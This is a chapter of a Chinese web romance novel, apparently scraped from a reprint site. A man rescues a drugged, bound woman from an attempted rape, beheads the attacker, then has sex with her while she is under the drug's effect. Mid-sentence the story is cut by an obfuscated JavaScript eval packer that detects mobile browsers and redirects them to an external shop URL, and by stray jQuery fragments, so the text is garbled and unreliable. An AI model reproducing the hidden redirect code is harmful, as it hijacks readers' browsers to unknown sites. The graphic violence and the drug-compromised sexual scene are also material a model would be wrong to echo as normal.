第56章 星宿沧海,共赴沉沦

作品:《入骨欢

    北辰晔眉心一皱,被他这邪气阴森的笑……看得突然有些头皮发麻。


    这种仿佛被他反支配操控着的感觉,也让北辰晔十分不爽利!


    就在下一瞬间,谢景愿的身影,却突然消失了。


    连如同鹰眼的冷刃,都没看清谢景愿是去了何处!


    北辰晔也有点慌乱,但转瞬又冷静下来。


    “找!”


    整个酒楼都布满他的人,北辰晔就不信,他还能飞了去?


    然而事实却是,无论他们如何追寻,都找不到谢景愿的踪迹。


    北辰晔从一开始的运筹帷幄,掌控一切,到此刻也有些不冷静了。


    “在那!”冷刃眼尖地看到,大堂人群里,正有个穿着和谢景愿一样衣服的男人人影,从大堂东边一闪而过,然后又去到了另一个角落。


    他没有迟疑,当即带着人追了过去。


    而此刻所有人的注意力,连同额前青筋直跳的北辰晔,眼神也死死注视在大堂上。


    没有人看到,有那么一道换了装束的身影,已经悄然来到了二楼。


    谢景愿看着那道虚掩着,仿佛是在故意阴人前来的房门,不禁冷笑。


    抬脚一踹!


    屋中!


    凌乱一片。


    地上是散落的衣物和染血的碎瓷片。


    而床上,女子衣服被扯了个稀碎,露出白皙肩头和大红肚兜。


    她的双手被捆在身后,眼睛也被蒙着,嘴角还残留着被强行灌入的什么东西……因为在药性发作之前,她一直在剧烈反抗,脸上全都是男人硬掰出来的手指印!


    身上还有各种伤口血迹。


    可即便都要疼**,她也没有发出一点声音……一直在死死咬着唇,唇都要给咬破了,愣是没发出一丝声响!连现在她被逼喂药后都快失去了神智,也没有松口!


    而那浑身染满脓疮的男人,正如同恶心蛆虫一样,在她身前一点点蠕动着,等待扯掉她身上最后一层的遮羞布!


    屋中,一股浓烈的阴诡气息乍起……


    那男人的身子抖了抖,下一刻已被**力拽下!


    狠狠被拖到地上的那一刻,一个沉重的花瓶砸在了他的头上,仿佛都头骨都碎了。


    他甚至能看到自己的脑浆在地上迸裂!


    再抬头!


    只见男人的高大身形遮挡住了一切的光,浑身充斥着浓浓的煞气,像是鬼影一样,朝着他一点点逼近,居高临下看着他!


    “你碰了她的身子。”他的声音没有一点的起伏,阴森的都不像是个人!


    男人被吓到了,捂住自己头上的血,惨白着脸往后退:


    “没有,没有!我只是脱了她的衣服,还没碰她呢!”


    “你、你是想要那个女人吗?那我把她送给你,你放了我,放了我好不好!”


    谢景愿说:“可你还是动了她。”


    还给她下了东西。


    这些人难道不明白,只有他,才可以给她下这些东西吗?


    他皱起眉头,又看了眼身上这一身,她另做的干净衣服。


    叹了口气,又要脏了。


    “对不起,你看到了她的身子,还碰了她,你就必须死。”他说着道歉的话,却是面无表情拿出了刀……


    “啊……!”


    男人凄厉的惨叫,在谢景愿砍掉他头颅的那一刻,戛然而止,如外面的雪风一样,覆灭在了夜时京城的风月里。


    等北辰晔反应过来不对劲时,已经迟了。


    这“谢景愿”,分明一直在大堂里绕圈子。


    “不好。”


    他带着人追到了二楼雅间,里面早已没了人影,沈木兮也不见了。虽然已经有了心理准备,可是看到地上被剁下的双手和头颅的男人时,北辰晔还是瞳孔骤缩。


    而冷刃也抓到了大堂里的那个人。


    此人根本不是谢景愿,只是穿着他原本衣服的人!


    难怪他从一出现,就毫不遮掩,还在下面频频挑衅自己,不怕死的激怒着他。


    再一次的落败,让北辰晔怒不可遏!


    他双手紧紧攥拳,额前青筋四起!


    简直是要被气炸了。


    两次了,已经两次被他给逃了!


    “追!本王一定要抓到他!”


    一定!!


    ……


    盛家后厨房。


    夜已经深了,这边已经没几个人了。


    陶嬷嬷一日都没怎么见到沈木兮的人,前前后后找了她数次。不过陶嬷嬷也没多想,只以为是那两个被处死的小厨娘,把她给吓到了,这才吓得躲了起来。


    到底是个外来的小姑娘,没见到权贵高门后宅里的腌臜事,被吓到也正常。


    夜深时,陶嬷嬷又来了沈木兮的房间,只见屋子半掩,床上隐隐像是躺着个人,这才放下心,提着灯笼转身走了。


    等四周安静下来。


    漆黑的小屋里,风声一过,男子抱着怀中女人出现。


    她因为难受,已经开始发出一阵阵的低吟……


    谢景愿把床上他提前塞进被褥下的枕头抬脚扫开,将她平放在床上,蹲守在床边,看着她难受的样子,他双眼也氤满一团湿红。


    “阿兮,对不起,是我来迟了。”


    不是第一次中药了,可今夜的药显然比上回李管事的那东西厉害许多,这才过了一会儿,她就浑身燥热,脸颊滚烫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989355|193682||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,不停地扯掉身上谢景愿给她披着的衣服,贪婪又渴望,朝谢景愿身上不停蹭着。


    一想着她这副娇媚无骨的样子,差点就要被旁的男人看了去,谢景愿眼神里的阴鸷戾色愈发的浓……可说话的声音,却轻柔极了。


    “放心,我不会让你难受的。”


    他如同在猎林时,找来了一个浴桶,在里面装着凉水,将浑身发烫,不停颤抖的沈木兮放了进去。


    可惜,这一次沈木兮不像是上回那样,很快就熬过去了。


    那冰凉的水没有半点用处,她的体温逐渐攀升,反应也比上次更剧烈,眉心紧锁着,好像身上有万千只蚂蚁在爬,不住抓挠!


    甚至抓出了血痕!


    她难受的哭着,眼角满是泪。


    谢景愿也慌了。


    居然没用?


    怎么办……她好像真的快撑不住了。


    他该怎么去救她?


    他突然不动了,这风雪之下的小屋,也像是瞬间死静了下来。


    谢景愿站直身子,高大的身形,除了周身自带的阴渗幽冷,还有一种属于男人的成熟气息,那被月色映下来的黑暗身影,一点点把床上之人的所有都包裹在其中。


    他像是沉思了良久,隐隐能听到他袖下骨头的咔嚓声……最后终于像是终于做了什么决定。


    “沈木兮,看着我。”


    他第一次直声喊着她的名字,声音冷静得出奇,又带着一股克制后的暗哑。


    神智逐渐不清的沈木兮,听到那道熟悉的声音在唤自己的名字,用尽自己最后的力气,睁开眼。


    他俯下身,捧起她烫得吓人的脸,哑声问。


    “你可知道,我是谁?”


    沈木兮露出一个既难受,又蹙眉不明的表情,颤抖地说:“你不是景愿吗……谢、景、愿。”


    黑暗里,男人眼睛微微放亮,笑了。


    好。


    知道,那就足够了。


    帘下风起。


    他把她从从冰水里抱起,带着这可怜狼狈的人儿走去床榻。


    两人的衣衫随着夜风,松垮的散落了满地。


    黑夜里,她珠粉如瓷的臂弯,搭在他健硕紧致的腰身上。


    他一手强压着床板,一手轻抚着她的小脸,强势俯身,声音寸寸撕磨,寸寸嘶哑:“阿兮,别怕。”


    “我会救你,救你……”


    深夜的雪风呼啸不止,同那星宿沧海,共赴沉沦。


    而那早已他在心底里埋藏许久的欲想。


    也终于在这个冬雪之夜里。


    如同燎原烈火般攀升,一路燃至,终是到了那苍穹顶点。


    ……


    “水,我想喝水……”